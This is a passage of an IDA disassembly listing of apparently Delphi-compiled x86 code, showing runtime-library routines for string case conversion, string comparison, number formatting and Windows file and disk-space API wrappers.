nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_20006D34 dd 61534512h, 61636566h, 78456C6Ch, 74706563h, 906E6F69h ; DATA XREF: CODE:20006CE8o ; CODE:20006D08o ... off_20006D48 dd offset dword_20006D4C ; DATA XREF: sub_200072D4+1Ar ; CODE:2000C00Br dword_20006D4C dd 372E0311h, 434h ; DATA XREF: CODE:off_20006D48o db 0 dd offset off_20001000 db 48h, 2 dup(0) db 0 dd offset off_20001000 db 8, 53h, 79h dd 69745573h, 0C08B736Ch off_20006D6C dd offset dword_20006D70 ; DATA XREF: sub_200072D4+51r ; CODE:2000BFFBr dword_20006D70 dd 382E0311h, 434h ; DATA XREF: CODE:off_20006D6Co db 0 dd offset off_20001000 db 48h, 2 dup(0) db 0 dd offset off_20001000 db 8, 53h, 79h dd 69745573h, 0C08B736Ch, 0FFFFFFFFh, 1 dword_20006D98 dd 24h ; DATA XREF: DATA:off_2001414Co off_20006D9C dd offset dword_20006DE8 ; DATA XREF: sub_2000B9DC+4Br dd 7 dup(0) dd offset dword_20006DE8 dd 44h dd offset off_2000100C dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_2000B8AC dword_20006DE8 dd 68545413h, 64616572h, 61636F4Ch, 756F436Ch, 7265746Eh ; DATA XREF: CODE:off_20006D9Co ; CODE:20006DBCo dd 0D4C083CCh, 4DC3E9h, 0D4C08300h, 4E27E9h, 0D4C08300h dd 4CC7E9h, 0D4C08300h, 4D5BE9h, 24448300h, 3DE9D404h dd 83FFFFE7h, 0D4042444h, 0FFE75BE9h, 244483FFh, 65E9D404h dd 0CCFFFFE7h off_20006E3C dd offset dword_20006DE8+35h ; DATA XREF: CODE:20006E6Co dd offset dword_20006DE8+3Fh dd offset dword_20006DE8+49h dd offset dword_20006DE8+15h dd offset dword_20006DE8+1Dh dd offset dword_20006DE8+25h dd offset dword_20006DE8+2Dh dword_20006E58 dd 1, 7B108C52h, 4CDB1D8Fh, 0E057DF9Ch, 3F3D1971h ; DATA XREF: CODE:20006E7Co dd offset off_20006E3C dd 2Ch, 0 off_20006E78 dd offset aTmultireadexcl ; DATA XREF: CODE:200126DBr ; "$TMultiReadExclusiveWriteSynchronizer█@"... dd offset dword_20006E58 dd 6 dup(0) dd offset aTmultireadexcl ; "$TMultiReadExclusiveWriteSynchronizer█@"... dd 30h dd offset off_20001100 dd offset sub_20003700 dd offset sub_20005538 dd offset sub_20005544 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_20005554 dd offset sub_200034A8 dd offset sub_2000BA50 aTmultireadexcl db '$TMultiReadExclusiveWriteSynchronizer█@',0 ; DATA XREF: CODE:off_20006E78o ; CODE:20006E98o ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20006EEC proc near ; CODE XREF: sub_20008534+2Bp ; sub_20008534+3Bp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, edx mov edx, eax shr edx, 10h div bx mov ebx, [ebp+arg_0] mov [ecx], ax mov [ebx], dx pop ebx pop ebp retn 4 sub_20006EEC endp ; =============== S U B R O U T I N E ======================================= sub_20006F08 proc near ; CODE XREF: sub_20007824+4Cp push ebx push esi push edi mov edi, ecx mov esi, edx mov ebx, eax push esi push edi mov ecx, ebx mov dl, 1 mov eax, off_20006954 call sub_2000A5DC call sub_20003A08 pop edi pop esi pop ebx retn sub_20006F08 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20006F2C proc near ; CODE XREF: sub_2000B914+46p push ebx push esi mov ebx, eax mov eax, ebx call sub_20002668 mov esi, eax mov eax, esi xor ecx, ecx mov edx, ebx call sub_20002E38 mov eax, esi pop esi pop ebx retn sub_20006F2C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20006F4C proc near ; CODE XREF: sub_2000DACC+85p push ebx push esi push edi mov edi, edx mov esi, eax mov eax, esi call sub_20004244 mov ebx, eax mov eax, edi mov edx, ebx call sub_200045D0 mov edx, esi mov esi, [edi] test ebx, ebx jz short loc_20006F82 loc_20006F6D: ; CODE XREF: sub_20006F4C+34j mov al, [edx] cmp al, 61h jb short loc_20006F79 cmp al, 7Ah ja short loc_20006F79 sub al, 20h loc_20006F79: ; CODE XREF: sub_20006F4C+25j ; sub_20006F4C+29j mov [esi], al inc edx inc esi dec ebx test ebx, ebx jnz short loc_20006F6D loc_20006F82: ; CODE XREF: sub_20006F4C+1Fj pop edi pop esi pop ebx retn sub_20006F4C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20006F88 proc near ; CODE XREF: sub_2000DACC+64p push ebx push esi push edi mov edi, edx mov esi, eax mov eax, esi call sub_20004244 mov ebx, eax mov eax, edi mov edx, ebx call sub_200045D0 mov edx, esi mov esi, [edi] test ebx, ebx jz short loc_20006FBE loc_20006FA9: ; CODE XREF: sub_20006F88+34j mov al, [edx] cmp al, 41h jb short loc_20006FB5 cmp al, 5Ah ja short loc_20006FB5 add al, 20h loc_20006FB5: ; CODE XREF: sub_20006F88+25j ; sub_20006F88+29j mov [esi], al inc edx inc esi dec ebx test ebx, ebx jnz short loc_20006FA9 loc_20006FBE: ; CODE XREF: sub_20006F88+1Fj pop edi pop esi pop ebx retn sub_20006F88 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20006FC4 proc near ; CODE XREF: sub_20007018+14p push esi push edi push ebx mov esi, eax mov edi, edx or eax, eax jz short loc_20006FD2 mov eax, [eax-4] loc_20006FD2: ; CODE XREF: sub_20006FC4+9j or edx, edx jz short loc_20006FD9 mov edx, [edx-4] loc_20006FD9: ; CODE XREF: sub_20006FC4+10j mov ecx, eax cmp ecx, edx jbe short loc_20006FE1 mov ecx, edx loc_20006FE1: ; CODE XREF: sub_20006FC4+19j cmp ecx, ecx loc_20006FE3: ; CODE XREF: sub_20006FC4+45j repe cmpsb jz short loc_20007011 mov bl, [esi-1] cmp bl, 61h jb short loc_20006FF7 cmp bl, 7Ah ja short loc_20006FF7 sub bl, 20h loc_20006FF7: ; CODE XREF: sub_20006FC4+29j ; sub_20006FC4+2Ej mov bh, [edi-1] cmp bh, 61h jb short loc_20007007 cmp bh, 7Ah ja short loc_20007007 sub bh, 20h loc_20007007: ; CODE XREF: sub_20006FC4+39j ; sub_20006FC4+3Ej cmp bl, bh jz short loc_20006FE3 movzx eax, bl movzx edx, bh loc_20007011: ; CODE XREF: sub_20006FC4+21j sub eax, edx pop ebx pop edi pop esi retn sub_20006FC4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20007018 proc near ; CODE XREF: sub_20011C80+64p cmp eax, edx jz short loc_20007035 or eax, eax jz short locret_20007037 or edx, edx jz short loc_20007038 mov ecx, [eax-4] cmp ecx, [edx-4] jnz short loc_20007038 call sub_20006FC4 test eax, eax jnz short loc_20007038 loc_20007035: ; CODE XREF: sub_20007018+2j mov al, 1 locret_20007037: ; CODE XREF: sub_20007018+6j retn ; --------------------------------------------------------------------------- loc_20007038: ; CODE XREF: sub_20007018+Aj ; sub_20007018+12j ... xor eax, eax retn sub_20007018 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000703C proc near ; CODE XREF: sub_20011798+Ap push ebx push esi mov esi, edx mov ebx, eax mov eax, esi call sub_20004244 push eax ; cchCount2 mov eax, esi call sub_20004444 push eax ; lpString2 mov eax, ebx call sub_20004244 push eax ; cchCount1 mov eax, ebx call sub_20004444 push eax ; lpString1 push 0 ; dwCmpFlags push 400h ; Locale call CompareStringA sub eax, 2 pop esi pop ebx retn sub_2000703C endp ; =============== S U B R O U T I N E ======================================= sub_20007074 proc near ; CODE XREF: sub_200070AC+Ap ; sub_200094DC+4Fp ... push ebx push esi mov esi, edx mov ebx, eax mov eax, esi call sub_20004244 push eax ; cchCount2 mov eax, esi call sub_20004444 push eax ; lpString2 mov eax, ebx call sub_20004244 push eax ; cchCount1 mov eax, ebx call sub_20004444 push eax ; lpString1 push 1 ; dwCmpFlags push 400h ; Locale call CompareStringA sub eax, 2 pop esi pop ebx retn sub_20007074 endp ; =============== S U B R O U T I N E ======================================= sub_200070AC proc near ; CODE XREF: sub_20007364+1Cp push ebx push esi mov esi, edx mov ebx, eax mov edx, esi mov eax, ebx call sub_20007074 test eax, eax setz al pop esi pop ebx retn sub_200070AC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200070C4 proc near ; CODE XREF: sub_200096E4+89p push ebx push esi push edi push ebp mov ebp, edx mov edi, eax mov eax, edi call sub_20004244 mov esi, eax mov ebx, 1 jmp short loc_200070DD ; --------------------------------------------------------------------------- loc_200070DC: ; CODE XREF: sub_200070C4+22j inc ebx loc_200070DD: ; CODE XREF: sub_200070C4+16j cmp esi, ebx jl short loc_200070E8 cmp byte ptr [edi+ebx-1], 20h jbe short loc_200070DC loc_200070E8: ; CODE XREF: sub_200070C4+1Bj cmp esi, ebx jge short loc_200070F6 mov eax, ebp call sub_20003FA8 jmp short loc_2000710C ; --------------------------------------------------------------------------- loc_200070F5: ; CODE XREF: sub_200070C4+37j dec esi loc_200070F6: ; CODE XREF: sub_200070C4+26j cmp byte ptr [edi+esi-1], 20h jbe short loc_200070F5 push ebp mov ecx, esi sub ecx, ebx inc ecx mov edx, ebx mov eax, edi call sub_200044A4 loc_2000710C: ; CODE XREF: sub_200070C4+2Fj pop ebp pop edi pop esi pop ebx retn sub_200070C4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20007114 proc near ; CODE XREF: sub_20007160+Bp ; sub_20007274+13p ... or cl, cl jnz short loc_2000712F or eax, eax jns short sub_2000712A neg eax call sub_2000712A mov al, 2Dh inc ecx dec esi mov [esi], al retn sub_20007114 endp ; =============== S U B R O U T I N E ======================================= sub_2000712A proc near ; CODE XREF: sub_20007114+6j ; sub_20007114+Ap mov ecx, 0Ah loc_2000712F: ; CODE XREF: sub_20007114+2j push edx push esi loc_20007131: ; CODE XREF: sub_2000712A+1Bj xor edx, edx div ecx dec esi add dl, 30h cmp dl, 3Ah jb short loc_20007141 add dl, 7 loc_20007141: ; CODE XREF: sub_2000712A+12j mov [esi], dl or eax, eax jnz short loc_20007131 pop ecx pop edx sub ecx, esi sub edx, ecx jbe short locret_2000715F add ecx, edx mov al, 30h sub esi, edx jmp short loc_2000715A ; --------------------------------------------------------------------------- loc_20007157: ; CODE XREF: sub_2000712A+31j mov [edx+esi], al loc_2000715A: ; CODE XREF: sub_2000712A+2Bj dec edx jnz short loc_20007157 mov [esi], al locret_2000715F: ; CODE XREF: sub_2000712A+23j retn sub_2000712A endp ; =============== S U B R O U T I N E ======================================= sub_20007160 proc near ; CODE XREF: sub_2000DD44+C8p ; sub_2000DD44+E2p ... push esi mov esi, esp sub esp, 10h xor ecx, ecx push edx xor edx, edx call sub_20007114 mov edx, esi pop eax call sub_20004098 add esp, 10h pop esi retn sub_20007160 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_20007180 proc near ; CODE XREF: sub_2000724C+11p ; sub_200079D6+94j ... var_8 = dword ptr -8 var_4 = dword ptr -4 or cl, cl jnz short sub_200071B4 mov ecx, 0Ah test dword ptr [eax+4], 80000000h jz short sub_200071B4 push dword ptr [eax+4] push dword ptr [eax] mov eax, esp neg [esp+8+var_8] adc [esp+8+var_4], 0 neg [esp+8+var_4] call sub_200071B4 mov byte ptr [esi-1], 2Dh dec esi inc ecx add esp, 8 retn sub_20007180 endp ; =============== S U B R O U T I N E ======================================= sub_200071B4 proc near ; CODE XREF: sub_20007180+2j ; sub_20007180+10j ... var_18 = qword ptr -18h var_C = dword ptr -0Ch var_8 = word ptr -8 var_6 = word ptr -6 push esi sub esp, 4 fnstcw [esp+8+var_6] fnstcw [esp+8+var_8] or [esp+8+var_8], 0F00h fldcw [esp+8+var_8] mov [esp+8+var_8], cx fld1 test dword ptr [eax+4], 80000000h jz short loc_200071FE push dword ptr [eax+4] push dword ptr [eax] and [esp+10h+var_C], 7FFFFFFFh push 7FFFFFFFh push 0FFFFFFFFh fild qword ptr [esp+8] fild [esp+18h+var_18] fadd st, st(2) faddp st(1), st add esp, 10h jmp short loc_20007200 ; --------------------------------------------------------------------------- loc_200071FE: ; CODE XREF: sub_200071B4+21j fild qword ptr [eax] loc_20007200: ; CODE XREF: sub_200071B4+48j fild [esp+8+var_8] fld st(1) loc_20007205: ; CODE XREF: sub_200071B4+6Ej dec esi fprem fistp [esp+8+var_8] fdiv st(1), st mov al, byte ptr [esp+8+var_8] add al, 30h cmp al, 3Ah jb short loc_20007218 add al, 7 loc_20007218: ; CODE XREF: sub_200071B4+60j mov [esi], al fld st(1) fcom st(3) fstsw ax sahf jnb short loc_20007205 fldcw [esp+8+var_6] add esp, 4 ffree st(3) ffree st(2) ffree st(1) ffree st pop ecx sub ecx, esi sub edx, ecx jbe short locret_2000724A sub esi, edx mov al, 30h add ecx, edx jmp short loc_20007245 ; --------------------------------------------------------------------------- loc_20007242: ; CODE XREF: sub_200071B4+92j mov [edx+esi], al loc_20007245: ; CODE XREF: sub_200071B4+8Cj dec edx jnz short loc_20007242 mov [esi], al locret_2000724A: ; CODE XREF: sub_200071B4+84j retn sub_200071B4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000724C proc near ; CODE XREF: sub_2000DD44+219p ; sub_2000DD44+236p ... arg_0 = byte ptr 8 push ebp mov ebp, esp push esi mov esi, esp sub esp, 20h xor ecx, ecx push eax xor edx, edx lea eax, [ebp+arg_0] call sub_20007180 mov edx, esi pop eax call sub_20004098 add esp, 20h pop esi pop ebp retn 8 sub_2000724C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20007274 proc near ; CODE XREF: sub_2000EB50+CDp cmp edx, 20h jbe short loc_2000727B xor edx, edx loc_2000727B: ; CODE XREF: sub_20007274+3j push esi mov esi, esp sub esp, 20h push ecx mov ecx, 10h call sub_20007114 mov edx, esi pop eax call sub_20004098 add esp, 20h pop esi retn sub_20007274 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000729C proc near ; CODE XREF: sub_20009F38+3Ep ; sub_20009FB0+34p ... var_8 = dword ptr -8 push ebx push ecx mov ebx, edx mov edx, esp call sub_20002F88 cmp [esp+8+var_8], 0 jz short loc_200072AF mov eax, ebx loc_200072AF: ; CODE XREF: sub_2000729C+Fj pop edx pop ebx retn sub_2000729C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200072B4 proc near ; CODE XREF: sub_2000C1F0+35p var_C = dword ptr -0Ch push ebx push esi push ecx mov esi, edx mov ebx, eax mov edx, esp mov eax, ebx call sub_20002F88 mov [esi], eax cmp [esp+0Ch+var_C], 0 setz al pop edx pop esi pop ebx retn sub_200072B4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200072D4 proc near ; CODE XREF: sub_200073A0:loc_200073CEp ; sub_2000743C+Ap mov eax, ds:dword_2001579C call sub_20004C88 test eax, eax jnz short loc_2000730B push 1 mov eax, offset dword_2001579C mov ecx, 1 mov edx, off_20006D48 call sub_20004E44 add esp, 4 mov eax, ds:dword_2001579C mov edx, offset aTrue ; "True" call sub_20003FFC loc_2000730B: ; CODE XREF: sub_200072D4+Cj mov eax, ds:dword_200157A0 call sub_20004C88 test eax, eax jnz short locret_20007342 push 1 mov eax, offset dword_200157A0 mov ecx, 1 mov edx, off_20006D6C call sub_20004E44 add esp, 4 mov eax, ds:dword_200157A0 mov edx, offset aFalse ; "False" call sub_20003FFC locret_20007342: ; CODE XREF: sub_200072D4+43j retn sub_200072D4 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 4 aTrue db 'True',0 ; DATA XREF: sub_200072D4+2Do align 4 dd 0FFFFFFFFh, 5 aFalse db 'False',0 ; DATA XREF: sub_200072D4+64o align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20007364 proc near ; CODE XREF: sub_200073A0+45p ; sub_200073A0+68p var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov [ebp+var_1], 0 mov esi, edx test esi, esi jl short loc_20007395 inc esi mov ebx, eax loc_20007378: ; CODE XREF: sub_20007364+2Fj mov eax, [ebp+arg_0] mov eax, [eax-4] mov edx, [ebx] call sub_200070AC test al, al jz short loc_2000738F mov [ebp+var_1], 1 jmp short loc_20007395 ; --------------------------------------------------------------------------- loc_2000738F: ; CODE XREF: sub_20007364+23j add ebx, 4 dec esi jnz short loc_20007378 loc_20007395: ; CODE XREF: sub_20007364+Fj ; sub_20007364+29j mov al, [ebp+var_1] pop edi pop esi pop ebx pop ecx pop ebp retn sub_20007364 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_200073A0 proc near ; CODE XREF: sub_2000C40C+3Bp var_10 = tbyte ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF0h push ebx mov ebx, edx mov [ebp+var_4], eax lea edx, [ebp+var_10] mov eax, [ebp+var_4] call sub_200083F0 mov edx, eax test dl, dl jz short loc_200073CE fld [ebp+var_10] fcomp flt_20007420 fnstsw ax sahf setnz byte ptr [ebx] jmp short loc_20007417 ; --------------------------------------------------------------------------- loc_200073CE: ; CODE XREF: sub_200073A0+1Bj call sub_200072D4 push ebp mov eax, ds:dword_2001579C call sub_20004C90 mov edx, eax mov eax, ds:dword_2001579C call sub_20007364 pop ecx mov edx, eax test dl, dl jz short loc_200073F6 mov byte ptr [ebx], 1 jmp short loc_20007417 ; --------------------------------------------------------------------------- loc_200073F6: ; CODE XREF: sub_200073A0+4Fj push ebp mov eax, ds:dword_200157A0 call sub_20004C90 mov edx, eax mov eax, ds:dword_200157A0 call sub_20007364 pop ecx mov edx, eax test dl, dl jz short loc_20007417 mov byte ptr [ebx], 0 loc_20007417: ; CODE XREF: sub_200073A0+2Cj ; sub_200073A0+54j ... mov eax, edx pop ebx mov esp, ebp pop ebp retn sub_200073A0 endp ; --------------------------------------------------------------------------- align 10h flt_20007420 dd 0.0 ; DATA XREF: sub_200073A0+20r dd 0FFFFFFFFh, 1 dword_2000742C dd 30h, 0FFFFFFFFh, 2, 312Dh ; DATA XREF: DATA:off_20014154o ; DATA:20014158o ; =============== S U B R O U T I N E ======================================= sub_2000743C proc near ; CODE XREF: sub_2000C56C+3Cp push ebx push esi mov esi, ecx mov ebx, eax test dl, dl jz short loc_20007472 call sub_200072D4 test bl, bl jz short loc_20007460 mov eax, esi mov edx, ds:dword_2001579C mov edx, [edx] call sub_20003FFC jmp short loc_20007484 ; --------------------------------------------------------------------------- loc_20007460: ; CODE XREF: sub_2000743C+11j mov eax, esi mov edx, ds:dword_200157A0 mov edx, [edx] call sub_20003FFC pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_20007472: ; CODE XREF: sub_2000743C+8j mov eax, esi xor edx, edx mov dl, bl mov edx, ds:off_20014154[edx*4] call sub_20003FFC loc_20007484: ; CODE XREF: sub_2000743C+22j pop esi pop ebx retn sub_2000743C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20007488 proc near ; CODE XREF: sub_20011AF8+B0p push ebx push esi push edi mov ebx, edx mov edi, eax or eax, 0FFFFFFFFh mov esi, ebx and esi, 3 cmp esi, 2 ja short loc_200074DB mov edx, ebx and edx, 0F0h cmp edx, 40h ja short loc_200074DB push 0 ; hTemplateFile push 80h ; dwFlagsAndAttributes push 3 ; dwCreationDisposition push 0 ; lpSecurityAttributes mov eax, ebx and eax, 0F0h shr eax, 4 mov eax, ds:dwShareMode[eax*4] push eax ; dwShareMode mov eax, ds:dwDesiredAccess[esi*4] push eax ; dwDesiredAccess mov eax, edi call sub_20004444 push eax ; lpFileName call CreateFileA_0 loc_200074DB: ; CODE XREF: sub_20007488+12j ; sub_20007488+1Fj pop edi pop esi pop ebx retn sub_20007488 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_200074E0 proc near ; CODE XREF: sub_20007504p push ebx mov ebx, eax push 0 ; hTemplateFile push 80h ; dwFlagsAndAttributes push 2 ; dwCreationDisposition push 0 ; lpSecurityAttributes push 0 ; dwShareMode push 0C0000000h ; dwDesiredAccess mov eax, ebx call sub_20004444 push eax ; lpFileName call CreateFileA_0 pop ebx retn sub_200074E0 endp ; =============== S U B R O U T I N E ======================================= sub_20007504 proc near ; CODE XREF: sub_20011AF8+47p call sub_200074E0 retn sub_20007504 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; int __fastcall sub_2000750C(DWORD nNumberOfBytesToRead, LPVOID lpBuffer) sub_2000750C proc near ; CODE XREF: sub_20011A2C+3p NumberOfBytesRead= dword ptr -10h push ebx push esi push edi push ecx mov edi, ecx mov esi, edx mov ebx, eax push 0 ; lpOverlapped lea eax, [esp+14h+NumberOfBytesRead] push eax ; lpNumberOfBytesRead push edi ; nNumberOfBytesToRead push esi ; lpBuffer push ebx ; hFile call ReadFile_0 test eax, eax jnz short loc_20007530 mov [esp+10h+NumberOfBytesRead], 0FFFFFFFFh loc_20007530: ; CODE XREF: sub_2000750C+1Bj mov eax, [esp+10h+NumberOfBytesRead] pop edx pop edi pop esi pop ebx retn sub_2000750C endp ; =============== S U B R O U T I N E ======================================= ; int __fastcall sub_20007538(DWORD nNumberOfBytesToWrite, LPCVOID lpBuffer) sub_20007538 proc near ; CODE XREF: sub_20011A3C+3p NumberOfBytesWritten= dword ptr -10h push ebx push esi push edi push ecx mov edi, ecx mov esi, edx mov ebx, eax push 0 ; lpOverlapped lea eax, [esp+14h+NumberOfBytesWritten] push eax ; lpNumberOfBytesWritten push edi ; nNumberOfBytesToWrite push esi ; lpBuffer push ebx ; hFile call WriteFile_0 test eax, eax jnz short loc_2000755C mov [esp+10h+NumberOfBytesWritten], 0FFFFFFFFh loc_2000755C: ; CODE XREF: sub_20007538+1Bj mov eax, [esp+10h+NumberOfBytesWritten] pop edx pop edi pop esi pop ebx retn sub_20007538 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20007564 proc near ; CODE XREF: sub_20011A4C+12p lDistanceToMove = dword ptr -8 DistanceToMoveHigh= dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi mov esi, edx mov ebx, eax mov eax, [ebp+arg_0] mov [ebp+lDistanceToMove], eax mov eax, [ebp+arg_4] mov [ebp+DistanceToMoveHigh], eax push esi ; dwMoveMethod lea eax, [ebp+DistanceToMoveHigh] push eax ; lpDistanceToMoveHigh mov eax, [ebp+lDistanceToMove] push eax ; lDistanceToMove push ebx ; hFile call SetFilePointer_0 mov [ebp+lDistanceToMove], eax mov eax, [ebp+lDistanceToMove] mov edx, [ebp+DistanceToMoveHigh] pop esi pop ebx pop ecx pop ecx pop ebp retn 8 sub_20007564 endp ; =============== S U B R O U T I N E ======================================= sub_2000759C proc near ; CODE XREF: sub_20011C4C+12p push eax ; hObject call CloseHandle_0 retn sub_2000759C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200075A4 proc near ; CODE XREF: sub_200075F4+Ep push ebx push esi push edi push ebp mov esi, edx mov ebx, eax mov eax, esi call sub_20004244 mov edi, eax mov eax, ebx call sub_20004444 mov ebp, eax test edi, edi jle short loc_200075EA loc_200075C2: ; CODE XREF: sub_200075A4+44j mov bl, [esi+edi-1] test bl, bl jz short loc_200075E5 mov edx, ebx mov eax, ebp call sub_2000777C test eax, eax jz short loc_200075E5 mov edx, edi mov eax, esi call sub_2000AD8C cmp al, 2 jnz short loc_200075EA dec edi loc_200075E5: ; CODE XREF: sub_200075A4+24j ; sub_200075A4+31j dec edi test edi, edi jg short loc_200075C2 loc_200075EA: ; CODE XREF: sub_200075A4+1Cj ; sub_200075A4+3Ej mov eax, edi pop ebp pop edi pop esi pop ebx retn sub_200075A4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200075F4 proc near ; CODE XREF: sub_2000A8F8+CCp push ebx push esi push edi mov edi, edx mov ebx, eax mov edx, ebx mov eax, offset dword_20007628 call sub_200075A4 mov esi, eax push edi lea edx, [esi+1] mov ecx, 7FFFFFFFh mov eax, ebx call sub_200044A4 pop edi pop esi pop ebx retn sub_200075F4 endp ; --------------------------------------------------------------------------- align 10h dd 0FFFFFFFFh, 2 dword_20007628 dd 3A5Ch ; DATA XREF: sub_200075F4+9o ; =============== S U B R O U T I N E ======================================= sub_2000762C proc near ; CODE XREF: sub_20011AF8+66p ; sub_20011AF8+CBp Buffer = byte ptr -10Ch push ebx push esi add esp, 0FFFFFEF8h mov esi, edx mov ebx, eax push esp ; lpFilePart lea eax, [esp+114h+Buffer] push eax ; lpBuffer push 104h ; nBufferLength mov eax, ebx call sub_20004444 push eax ; lpFileName call GetFullPathNameA mov ecx, eax lea edx, [esp+110h+Buffer] mov eax, esi call sub_20004098 add esp, 108h pop esi pop ebx retn sub_2000762C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_20007668(LPCSTR lpRootPathName, int, int, int) sub_20007668 proc near ; DATA XREF: sub_2000B828+2Ao var_18 = dword ptr -18h var_14 = dword ptr -14h TotalNumberOfClusters= dword ptr -10h NumberOfFreeClusters= dword ptr -0Ch BytesPerSector = dword ptr -8 SectorsPerCluster= dword ptr -4 lpRootPathName = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp add esp, 0FFFFFFE8h push ebx mov eax, [ebp+lpRootPathName] test eax, eax jnz short loc_20007678 xor eax, eax loc_20007678: ; CODE XREF: sub_20007668+Cj lea edx, [ebp+TotalNumberOfClusters] push edx ; lpTotalNumberOfClusters lea edx, [ebp+NumberOfFreeClusters] push edx ; lpNumberOfFreeClusters lea edx, [ebp+BytesPerSector] push edx ; lpBytesPerSector lea edx, [ebp+SectorsPerCluster] push edx ; lpSectorsPerCluster push eax ; lpRootPathName call GetDiskFreeSpaceA mov ebx, eax mov eax, [ebp+SectorsPerCluster] imul [ebp+BytesPerSector] xor edx, edx mov [ebp+var_18], eax mov [ebp+var_14], edx mov eax, [ebp+NumberOfFreeClusters] xor edx, edx push edx push eax mov eax, [ebp+var_18] mov edx, [ebp+var_14] call sub_20004C64 mov ecx, [ebp+arg_4] mov [ecx], eax mov [ecx+4], edx mov eax, [ebp+TotalNumberOfClusters] xor edx, edx push edx push eax mov eax, [ebp+var_18] mov edx, [ebp+var_14] call sub_20004C64 mov ecx, [ebp+arg_8] mov [ecx], eax mov [ecx+4], edx mov eax, ebx pop ebx mov esp, ebp pop ebp retn 10h sub_20007668 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200076DC proc near ; CODE XREF: sub_200077F8+Fp ; sub_20007C24+16p ... mov edx, edi mov edi, eax mov ecx, 0FFFFFFFFh xor al, al repne scasb mov eax, 0FFFFFFFEh sub eax, ecx mov edi, edx retn sub_200076DC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200076F4 proc near ; CODE XREF: sub_200077F8+22p ; sub_20007824+2Bp push esi mov esi, eax xchg eax, edx call sub_200027FC mov eax, esi pop esi retn sub_200076F4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20007704 proc near ; CODE XREF: CODE:2000A325p push edi push esi push ebx mov esi, eax mov edi, edx mov ebx, ecx xor al, al test ecx, ecx jz short loc_20007718 repne scasb jnz short loc_20007718 inc ecx loc_20007718: ; CODE XREF: sub_20007704+Dj ; sub_20007704+11j sub ebx, ecx mov edi, esi mov esi, edx mov edx, edi mov ecx, ebx shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb stosb mov eax, edx pop ebx pop esi pop edi retn sub_20007704 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20007738 proc near ; CODE XREF: sub_20008C00+384p ; sub_20008C00+399p ... push edi push esi push ebx mov edi, edx mov esi, eax mov ebx, ecx xor eax, eax or ecx, ecx jz short loc_20007776 repne scasb sub ebx, ecx mov ecx, ebx mov edi, edx xor edx, edx loc_20007751: ; CODE XREF: sub_20007738+3Cj repe cmpsb jz short loc_20007776 mov al, [esi-1] cmp al, 61h jb short loc_20007762 cmp al, 7Ah ja short loc_20007762 sub al, 20h loc_20007762: ; CODE XREF: sub_20007738+22j ; sub_20007738+26j mov dl, [edi-1] cmp dl, 61h jb short loc_20007772 cmp dl, 7Ah ja short loc_20007772 sub dl, 20h loc_20007772: ; CODE XREF: sub_20007738+30j ; sub_20007738+35j sub eax, edx jz short loc_20007751 loc_20007776: ; CODE XREF: sub_20007738+Dj ; sub_20007738+1Bj pop ebx pop esi pop edi retn sub_20007738 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000777C proc near ; CODE XREF: sub_200075A4+2Ap ; sub_2000B13C+Bp ... jmp short loc_20007786 ; --------------------------------------------------------------------------- loc_2000777E: ; CODE XREF: sub_2000777C+Ej test cl, cl jnz short loc_20007785 xor eax, eax retn ; 